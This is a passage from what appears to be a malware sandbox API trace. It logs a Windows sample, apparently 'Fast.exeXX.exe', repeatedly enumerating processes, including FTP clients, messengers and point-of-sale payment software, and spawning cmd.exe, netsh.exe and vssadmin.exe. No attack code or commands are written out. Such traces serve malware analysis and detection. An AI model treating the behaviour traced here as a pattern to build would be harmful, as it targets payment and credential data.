cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0095.458] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0095.759] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0095.759] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0095.760] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0095.761] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0095.761] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0095.762] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0095.763] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0095.764] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0095.765] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0095.766] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0095.767] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0095.768] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0095.769] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0095.770] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0095.771] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0095.772] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0095.773] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0095.774] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0095.775] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0095.776] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0095.777] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0095.778] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0095.779] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0095.780] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0095.780] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0095.781] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0095.782] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0095.783] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0095.784] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0095.785] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0095.786] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0095.787] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0095.788] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0095.789] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0095.789] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0095.790] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.791] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0095.792] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.793] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0095.793] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0095.794] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.795] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.796] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0095.796] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0095.797] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0095.798] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0095.798] CloseHandle (hObject=0x1d0) returned 1 [0095.798] Sleep (dwMilliseconds=0x1f4) [0101.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0101.179] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.180] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0101.181] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0101.181] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.182] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0101.183] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.184] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0101.184] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0101.185] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0101.185] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0101.186] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.186] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.187] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.188] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.188] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.189] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0101.189] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.190] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.191] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0101.191] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0101.192] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0101.193] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.193] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0101.194] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0101.195] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0101.195] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0101.196] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0101.197] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0101.197] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0101.198] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0101.199] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0101.199] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0101.200] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0101.200] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0101.201] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: 